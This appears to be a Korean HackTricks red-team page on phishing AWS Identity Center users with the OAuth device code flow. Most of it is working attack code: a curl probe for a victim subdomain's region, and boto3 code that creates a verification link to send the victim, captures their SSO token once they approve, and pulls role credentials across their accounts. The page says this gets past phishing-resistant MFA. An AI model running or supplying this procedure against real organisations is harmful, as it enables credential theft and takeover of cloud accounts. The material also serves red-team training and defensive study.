AWS - Identity Center & SSO Unauthenticated Enum

htARTE (HackTricks AWS Red Team 전문가)를 통해 **제로**부터 **히어로**까지 AWS 해킹을 배우세요!

HackTricks를 지원하는 다른 방법:

AWS 디바이스 코드 피싱

초기에 이 블로그 게시물에서 제안된 것처럼, AWS SSO를 사용하는 사용자에게 링크를 보내면 사용자가 수락하면 공격자가 사용자를 흉내내는 토큰을 얻어 Identity Center에서 사용자가 액세스할 수 있는 모든 역할에 액세스할 수 있습니다.

이 공격을 수행하려면 다음이 필요합니다:

  • 피해자가 Identity Center를 사용해야 합니다.

  • 공격자는 피해자가 사용하는 서브도메인을 알아야 합니다 <victimsub>.awsapps.com/start

이전 정보만으로도 공격자는 사용자에게 링크를 보낼 수 있으며, 사용자가 수락하면 공격자가 AWS 사용자 계정에 액세스할 수 있습니다.

공격

  1. 서브도메인 찾기

공격자의 첫 번째 단계는 피해자 회사가 Identity Center에서 사용하는 서브도메인을 찾는 것입니다. 대부분의 회사는 여기에 자신의 이름 또는 이름의 변형을 사용할 것이므로 OSINT 또는 추측 + BF를 통해 이 작업을 수행할 수 있습니다.

이 정보를 통해 Identity Center가 구성된 지역을 얻을 수 있습니다:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 피해자를 위한 링크 생성 및 전송

다음 코드를 실행하여 피해자가 인증할 수 있는 AWS SSO 로그인 링크를 생성합니다. 데모를 위해 이 코드를 파이썬 콘솔에서 실행하고 추후 토큰을 얻기 위해 일부 객체를 유지해야 합니다:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
  1. 피해자가 수락할 때까지 기다립니다

피해자가 이미 AWS에 로그인되어 있으면 권한 부여를 수락하기만 하면 되지만, 그렇지 않은 경우 로그인한 후 권한 부여를 수락해야 합니다. 현재 프롬프트는 다음과 같이 보입니다:

  1. SSO 액세스 토큰 가져오기

피해자가 프롬프트를 수락한 경우, 다음 코드를 실행하여 사용자를 흉내 내는 SSO 토큰을 생성합니다:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO 액세스 토큰은 8시간 동안 유효합니다.

  1. 사용자를 사칭합니다

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

"피싱할 수 없는 MFA"를 피싱하기

이전 공격이 "피싱할 수 없는 MFA" (webAuth)를 사용하더라도 작동한다는 것을 알아서 재미있는 일입니다. 이는 이전 워크플로우가 사용된 OAuth 도메인을 벗어나지 않기 때문입니다. 사용자가 로그인 도메인을 대체해야 하는 다른 피싱 공격과는 달리, 장치 코드 워크플로우는 장치가 코드를 알고 있기 때문에 사용자가 다른 기기에서도 로그인할 수 있도록 준비되어 있습니다. 사용자가 프롬프트를 수락하면, 초기 코드를 알고 있는 장치만으로도 사용자의 자격 증명을 검색할 수 있습니다.

자세한 정보는 이 게시물을 확인하세요.

자동 도구

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新